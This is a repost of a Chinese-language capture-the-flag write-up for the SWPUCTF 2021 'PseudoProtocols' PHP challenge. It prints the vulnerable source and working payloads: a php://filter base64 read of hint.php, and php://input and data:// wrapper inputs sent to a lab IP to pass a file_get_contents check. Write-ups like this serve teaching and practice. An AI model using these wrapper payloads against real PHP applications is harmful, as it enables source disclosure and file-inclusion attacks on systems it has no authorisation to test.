返回顶部
首页 > 资讯 > 后端开发 > PHP编程 >[SWPUCTF 2021 新生赛]PseudoProtocols
  • 652
分享到

[SWPUCTF 2021 新生赛]PseudoProtocols

phpweb安全 2023-10-01 13:10:14 652人浏览 泡泡鱼
摘要

[SWPUCTF 2021 新生赛]PseudoProtocols 一、题目 二、WP 1、打开题目,发现提示我们是否能找到hint.PHP,并且发现URL有参数wllm。所以我们尝试利用PHP伪协

[SWPUCTF 2021 新生赛]PseudoProtocols

一、题目

image-20221016174852038

二、WP

1、打开题目,发现提示我们是否能找到hint.PHP,并且发现URL有参数wllm。所以我们尝试利用PHP伪协议读取该文件

wllm=php://filter/read/convert.base64-encode/resource=hint.php

image-20221016175206506

2、对输出进行Baes64解码

//Go to /test2222222222222.php?>

3、访问/test2222222222222.php

image-20221016175405126

 <?phpini_set("max_execution_time", "180");show_source(__FILE__);include('flag.php');$a= $_GET["a"];if(isset($a)&&(file_get_contents($a,'r')) === 'I want flag'){    echo "success\n";    echo $flag;}?> 

代码的大概意思是为a参数利用file_get_contents()函数已只读的方式打开,如果内容等于I want flag的话,输出flag。

4、接下来有两种解法

①、php://input

​ 此方法需要条件,即开启allow_url_include=On。

​ 实际上这相当于一个远程包含的利用。

​ php://打开文件流后,我们直接在流里面写入我们的恶意代码,此时包含既可执行代码。

Http://1.14.71.254:28463/test2222222222222.php?a=php://input// 然后在POST里传入I want flag,则成功读取Flag

image-20221016180131092

②、data://

data://本身是数据流封装器,其原理和用法跟php://input类似,但是是发送GET请求参数。

http://1.14.71.254:28463/test2222222222222.php?a=data://text/plain,I want flag

image-20221016180330129

三、考点

PHP伪协议

php://filterphp://inputdata://

来源地址:https://blog.csdn.net/YangYubo091699/article/details/127350898

--结束END--

本文标题: [SWPUCTF 2021 新生赛]PseudoProtocols

本文链接: https://lsjlt.com/news/422268.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

猜你喜欢
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作